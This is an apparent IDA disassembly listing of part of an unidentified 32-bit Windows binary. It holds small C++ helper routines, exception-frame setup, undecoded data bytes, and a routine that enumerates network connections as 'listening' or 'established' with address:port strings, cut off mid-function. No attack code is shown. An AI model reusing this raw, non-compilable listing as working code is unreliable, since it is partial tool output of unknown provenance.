push ebp
push esi
mov esi, ecx
push edi
mov ecx, offset byte_4E8E9B
mov byte ptr [esi+9FD2Ch], 1
call sub_4010B9
mov eax, [esp+1C4h+arg_4]
test eax, eax
jz short loc_4185D0
push eax
jmp short loc_4185D5
; ---------------------------------------------------------------------------
loc_4185D0: ; CODE XREF: sub_418590+3Bj
push offset byte_448F30
loc_4185D5: ; CODE XREF: sub_418590+3Ej
lea ecx, [esi+9FD57h]
call sub_4015E1
mov edi, [esp+1C4h+arg_0]
test edi, edi
jz short loc_4185EE
push edi
jmp short loc_4185F3
; ---------------------------------------------------------------------------
loc_4185EE: ; CODE XREF: sub_418590+59j
push offset byte_448F30
loc_4185F3: ; CODE XREF: sub_418590+5Cj
lea ecx, [esi+9FD6Ch]
call sub_4015E1
push edi
lea ecx, [esi+3Eh]
call sub_401384
sub_418590 endp
; ---------------------------------------------------------------------------
db 8Ah
dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h, 0FE936BE8h
dd 244C8DFFh, 2685128h, 0E8000002h, 7169E021h, 8E92E890h
dd 8E8DFFFEh, 1BBEh, 0FE91BBE8h, 468E8DFFh, 0E800001Bh
dd 0FFFE93BDh, 15FBE8Dh, 0CF8B0000h, 0FE96F3E8h, 0D81D8BFFh
dd 68005118h, 3E8h, 0CF8BD3FFh, 0FE8BB3E8h, 3E868FFh, 0D3FF0000h
dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh
dd 0E80009FCh, 0FFFE8D52h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h
dd 5300001Ch, 0C6E8CF8Bh, 8BFFFE94h, 8AE7E8CFh, 868AFFFEh
dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 69E8CF8Bh, 8AFFFE90h
dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0F3E855CFh
dd 84FFFE98h, 530B75C0h, 0E8CF8B55h, 0FFFE8DB5h, 0AE8D0EEBh
dd 7F7h, 0E855CF8Bh, 0FFFE9255h, 7C7868Ah, 0C0840000h
dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE98E5E8h, 74C084FFh
dd 90006A08h, 82175DE8h, 97E4E877h, 8E8DFFFEh, 168h, 0FE90BDE8h
dd 448D50FFh, 0E8501424h, 0FFFE9904h, 5008C483h, 0FD2D8E8Dh
dd 84C70009h, 1C424h, 0
dword_418750 dd 98D6E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h
dd 8ABCE8FFh, 9E8DFFFEh, 8EF5Dh, 67E8CB8Bh, 8DFFFE8Ch
dd 8F2478Eh, 8C5CE800h, 8E8DFFFEh, 1D29h, 0FE9606E8h, 6F8E8DFFh
dd 0E800001Eh, 0FFFE935Dh, 0F2858E8Dh, 70E80008h, 8DFFFE8Eh
dd 9FA138Eh, 8F50E800h, 8E8DFFFEh, 8F3A2h, 0FE9A49E8h
dd 738E8DFFh, 0E80009FAh, 0FFFE96A1h, 4EE8CB8Bh, 8DFFFE92h
dd 9FC428Eh, 97A7E800h, 0CF8BFFFEh, 0FE886EE8h, 0BF8E8DFFh
dd 0E80008F4h, 0FFFE9439h, 0FB058E8Dh, 0B1E80009h, 8DFFFE93h
dd 9FAD38Eh, 9720E800h, 8E8DFFFEh, 9FB93h, 0FE916BE8h
dd 0CD8E8DFFh, 0E80009FBh, 0FFFE984Fh, 0FBFF8E8Dh, 0DAE80009h
dd 8BFFFE93h, 8A41E8CEh, 8E8DFFFEh, 8F270h, 1BE8F88Bh
dd 8BFFFE8Fh, 8F14E8CBh, 0EDE8FFFEh, 90FFFE92h, 69BBE3E8h
dd 42468A71h, 0B74C084h, 1528E8Dh, 97E80000h, 8BFFFE94h
dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h
dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
locret_418940: ; CODE XREF: ___:00402225j
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_418960: ; CODE XREF: ___:00401EE2j
mov eax, [esp+0Ch]
push 0
push eax
mov ecx, offset dword_449118
call sub_401771
; ---------------------------------------------------------------------------
retn 10h
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418990 proc near ; CODE XREF: sub_401B1Dj
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_4021DF
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_40162C
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_401438
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_402103
sub_418990 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418A00 proc near ; CODE XREF: sub_401B0Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_40139D
sub_418A00 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418A40 proc near ; CODE XREF: sub_4021FDj
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401311
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401F69
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40155A
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_40207C
sub_418A40 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418AB0 proc near ; CODE XREF: sub_401F69j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_4015DC
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_401D98
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_418AB0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418AF0 proc near ; CODE XREF: sub_401311j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_401D98
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_418AF0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418B20 proc near ; CODE XREF: sub_4010B9j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401311
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401F69
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40155A
pop esi
add esp, 0Ch
retn
sub_418B20 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418B70 proc near ; CODE XREF: sub_4020A4j
push esi
mov esi, ecx
call sub_401532
mov eax, esi
pop esi
retn
sub_418B70 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418B90 proc near ; CODE XREF: sub_402234j
mov eax, [ecx]
push eax
call sub_401172
add esp, 4
retn
sub_418B90 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418BB0 proc near ; CODE XREF: sub_401361j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_4015DC
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_418BB0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418BE0 proc near ; CODE XREF: sub_401703j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_40223E
neg al
sbb eax, eax
inc eax
retn 4
sub_418BE0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418C10 proc near ; CODE XREF: sub_401438j
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_40184D
test al, al
jz short loc_418C6A
loc_418C28: ; CODE XREF: sub_418C10+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_40116D
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40123F
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_40184D
test al, al
jnz short loc_418C28
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_418C6A: ; CODE XREF: sub_418C10+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_418C10 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418CA0 proc near ; CODE XREF: sub_402103j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401D6B
sub_418CA0 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418CC0 proc near ; CODE XREF: sub_40155Aj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401703
test al, al
jz short loc_418D1A
loc_418CD8: ; CODE XREF: sub_418CC0+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4012A3
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40216C
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401703
test al, al
jnz short loc_418CD8
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_418D1A: ; CODE XREF: sub_418CC0+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_418CC0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418D50 proc near ; CODE XREF: sub_40139Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_401C67
sub_418D50 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_418D65
mov edi, esi
loc_418D65: ; CODE XREF: ___:00418D61j
push esi
call sub_4015DC
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_418D7A
mov edi, esi
loc_418D7A: ; CODE XREF: ___:00418D76j
push esi
call sub_401B31
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418DA0 proc near ; CODE XREF: sub_40207Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_4013FC
sub_418DA0 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418DC0 proc near ; CODE XREF: sub_4015DCj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_418DC0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418DE0 proc near ; CODE XREF: sub_401172j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_418DE0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418E00 proc near ; CODE XREF: sub_401532j
mov eax, ecx
retn
sub_418E00 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418E20 proc near ; CODE XREF: sub_401D98j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_4020FE
mov eax, esi
pop esi
retn 4
sub_418E20 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418E50 proc near ; CODE XREF: sub_40223Ej
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_418E50 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418E80 proc near ; CODE XREF: sub_40123Fj
var_4 = byte ptr -4
arg_4 = byte ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_40116D
mov ecx, eax
call sub_401C9E
mov esi, eax
push esi
call sub_401A96
push esi
mov ebx, eax
call sub_401C6C
mov ecx, [eax]
push ecx
call sub_401A96
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401C6C
push esi
mov ebx, eax
call sub_401A96
mov eax, [eax]
push eax
call sub_401C6C
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401208
add esp, 1Ch
mov ecx, edi
push eax
call sub_40176C
push esi
mov ecx, edi
call sub_402103
sub_418E80 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418F40 proc near ; CODE XREF: sub_401D6Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_418F40 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418F60 proc near ; CODE XREF: sub_40116Dj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_401F28
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_418F60 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418F90 proc near ; CODE XREF: sub_40216Cj
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4012A3
mov ecx, eax
call sub_401EEC
mov esi, eax
push esi
call sub_4015DC
push esi
mov ebx, eax
call sub_401B31
mov ecx, [eax]
push ecx
call sub_4015DC
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401B31
push esi
mov ebx, eax
call sub_4015DC
mov eax, [eax]
push eax
call sub_401B31
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401172
add esp, 1Ch
mov ecx, edi
push eax
call sub_4018D4
push esi
mov ecx, edi
call sub_40207C
sub_418F90 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419050 proc near ; CODE XREF: sub_401B31j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_419050 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_419070 proc near ; CODE XREF: sub_401C67j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D2A
sub_419070 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4190A0 proc near ; CODE XREF: sub_4013FCj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_4190A0 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4190C0 proc near ; CODE XREF: sub_4020FEj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4190C0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4190E0 proc near ; CODE XREF: sub_4012A3j
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_401361
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_4190E0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419110 proc near ; CODE XREF: sub_40176Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_8
pop ecx
retn 4
sub_419110 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419130 proc near ; CODE XREF: sub_4018D4j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_4
pop ecx
retn 4
sub_419130 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419150 proc near ; CODE XREF: sub_401EECj
mov eax, [ecx]
retn
sub_419150 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4191B0 proc near ; CODE XREF: sub_402121j
var_14 = dword ptr -14h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4191B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+18h+var_14], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
push 9
mov [esp+1Ch+var_4], 0
mov dword ptr [esi], offset off_43F074
call sub_437AEA
sub_4191B0 endp
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+8], eax
test eax, eax
mov byte ptr [esp+14h], 1
jz short loc_41921D
mov ecx, eax
call sub_401F2D
; ---------------------------------------------------------------------------
mov [esi+32h], eax
mov eax, esi
pop esi
mov ecx, [esp+8]
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
loc_41921D: ; CODE XREF: ___:004191FFj
mov ecx, [esp+0Ch]
xor eax, eax
mov [esi+32h], eax
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_419270 proc near ; CODE XREF: sub_401F2Dj
push 0FFFFFFFFh
push offset SEH_419270
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
push 14h
call sub_437AEA
sub_419270 endp
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+4], eax
test eax, eax
mov dword ptr [esp+10h], 0
jz short loc_4192BE
mov ecx, eax
call sub_4015C3
mov [esi], eax
mov eax, esi
pop esi
mov ecx, [esp+4]
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_4192BE: ; CODE XREF: ___:004192A1j
mov ecx, [esp+8]
xor eax, eax
mov [esi], eax
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419300 proc near ; CODE XREF: sub_4015C3j
mov eax, ecx
retn
sub_419300 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_419320 proc near ; CODE XREF: sub_401974j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_419320
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 14h
push 1
push 14h
push 13h
push 14h
push 5
lea eax, [esp+44h+var_24]
push 0Eh
mov esi, ecx
push eax
call sub_4019C4
add esp, 24h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_40168B
add esi, 4
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
sub_419320 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4193C0 proc near ; CODE XREF: sub_40111Dj
var_2A4 = dword ptr -2A4h
var_2A0 = dword ptr -2A0h
var_29C = dword ptr -29Ch
var_298 = dword ptr -298h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = byte ptr -28Ch
var_274 = byte ptr -274h
var_25C = byte ptr -25Ch
var_23C = byte ptr -23Ch
var_224 = byte ptr -224h
var_199 = byte ptr -199h
var_198 = byte ptr -198h
var_119 = byte ptr -119h
var_118 = byte ptr -118h
var_99 = byte ptr -99h
var_98 = byte ptr -98h
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_4193C0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 298h
push ebx
mov ebx, ecx
push esi
mov [esp+2ACh+var_2A4], ebx
lea ecx, [ebx+4]
call sub_4017EE
mov esi, [esp+2ACh+arg_0]
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_419766
push ebp
push edi
push offset asc_444600 ; " "
lea eax, [esp+2B8h+var_23C]
push 1
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
call sub_40168B
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+2B4h+var_23C]
mov [ebx+36h], eax
call sub_401226
mov ecx, esi
call sub_4017EE
push eax
lea ecx, [esp+2B8h+var_274]
call sub_401870
xor ebp, ebp
push offset dword_444D68
lea ecx, [esp+2B8h+var_274]
mov [esp+2B8h+var_4], ebp
mov [esp+2B8h+var_2A0], ebp
call sub_4013ED
test eax, eax
jz short loc_41946F
mov [esp+2B4h+var_2A0], 2
jmp short loc_419489
; ---------------------------------------------------------------------------
loc_41946F: ; CODE XREF: sub_4193C0+A3j
push offset dword_444D64
lea ecx, [esp+2B8h+var_274]
call sub_4013ED
test eax, eax
jz short loc_419489
mov [esp+2B4h+var_2A0], 1
loc_419489: ; CODE XREF: sub_4193C0+ADj
; sub_4193C0+BFj
mov ecx, [ebx+32h]
mov edi, offset dword_444D58
xor eax, eax
mov edx, [ecx]
or ecx, 0FFFFFFFFh
add edx, 2
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [ebx+32h]
mov edx, [ecx]
mov byte ptr [edx], 1
mov eax, [ebx+32h]
mov [esp+2B4h+var_119], 0
mov [esp+2B4h+var_99], 0
mov [esp+2B4h+var_D], 0
mov [esp+2B4h+var_199], 0
mov eax, [eax]
cmp byte ptr [eax], 0
jnz short loc_419518
mov esi, dword_511AA8
add eax, 2
push offset dword_444D58
push eax
call esi ; _stricmp
add esp, 8
test eax, eax
jz short loc_419518
mov ecx, [ebx+32h]
push offset off_444D54
mov edx, [ecx]
add edx, 2
push edx
call esi ; _stricmp
add esp, 8
test eax, eax
jnz loc_41974C
loc_419518: ; CODE XREF: sub_4193C0+123j
; sub_4193C0+13Bj
push 0C00h
mov [esp+2B8h+var_294], 0C00h
nop
call near ptr 77C2C407h
add esp, 4
mov esi, eax
lea eax, [esp+2B4h+var_294]
mov [esp+2B4h+var_29C], esi
push 1
push eax
push esi
mov [esi], ebp
call sub_437F50
; ---------------------------------------------------------------------------
mov eax, [esi]
mov [esp+2B4h+var_298], ebp
cmp eax, ebp
jle loc_419742
lea ebp, [esi+14h]
loc_419554: ; CODE XREF: sub_4193C0+37Cj
cmp dword ptr [ebp-10h], 2
jnz short loc_419568
mov ecx, [ebx+32h]
mov edx, [ecx]
cmp byte ptr [edx], 0
jz loc_41972C
loc_419568: ; CODE XREF: sub_4193C0+198j
mov ax, [ebp-8]
mov esi, dword_511C5C
push eax
call esi ; ntohs
mov cx, [ebp+0]
mov [esp+2B4h+var_290], eax
push ecx
call esi ; ntohs
mov esi, [esp+2B4h+var_2A4]
mov ebx, eax
mov eax, [ebp-0Ch]
push 1
lea edx, [esp+2B8h+var_198]
push 7Fh
push edx
push eax
mov ecx, esi
call sub_40147E
mov edx, [ebp-4]
push 0
lea ecx, [esp+2B8h+var_118]
push 7Fh
push ecx
push edx
mov ecx, esi
call sub_40147E
mov eax, [ebp-10h]
sub eax, 2
jz short loc_4195CC
sub eax, 3
jnz short loc_4195F2
lea edx, [esp+2B4h+var_25C]
mov edi, offset aEstablished ; "established"
jmp short loc_4195D5
; ---------------------------------------------------------------------------
loc_4195CC: ; CODE XREF: sub_4193C0+1FAj
lea edx, [esp+2B4h+var_25C]
mov edi, offset aListening ; "listening"
loc_4195D5: ; CODE XREF: sub_4193C0+20Aj
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_4195F2: ; CODE XREF: sub_4193C0+1FFj
mov ecx, 23h
xor eax, eax
lea edi, [esp+2B4h+var_98]
rep stosd
mov ecx, 23h
lea edi, [esp+2B4h+var_224]
rep stosd
cmp dword ptr [ebp-10h], 2
jnz short loc_419618
xor ebx, ebx
loc_419618: ; CODE XREF: sub_4193C0+254j
mov esi, [esp+2B4h+var_290]
lea ecx, [esp+2B4h+var_198]
and esi, 0FFFFh
lea edx, [esp+2B4h+var_98]
push esi
push ecx
push offset aSD_1 ; "%s:%d"
push 8Bh
push edx
call near ptr 77C3FA76h
nop
mov edi, ebx
lea eax, [esp+2C8h+var_118]
and edi, 0FFFFh
lea ecx, [esp+2C8h+var_224]
push edi
push eax
push offset aSD_1 ; "%s:%d"
push 8Bh
push ecx
nop
call near ptr 77C3FA76h
add esp, 28h
lea ecx, [esp+2B4h+var_28C]
call sub_40142E
mov eax, [esp+2B4h+var_2A0]
mov byte ptr [esp+2B4h+var_4], 1
test bx, bx
jnz short loc_4196AE
cmp eax, 1
jz loc_419713
mov edx, [esp+2B4h+var_2A4]
mov eax, [edx+36h]
test eax, eax
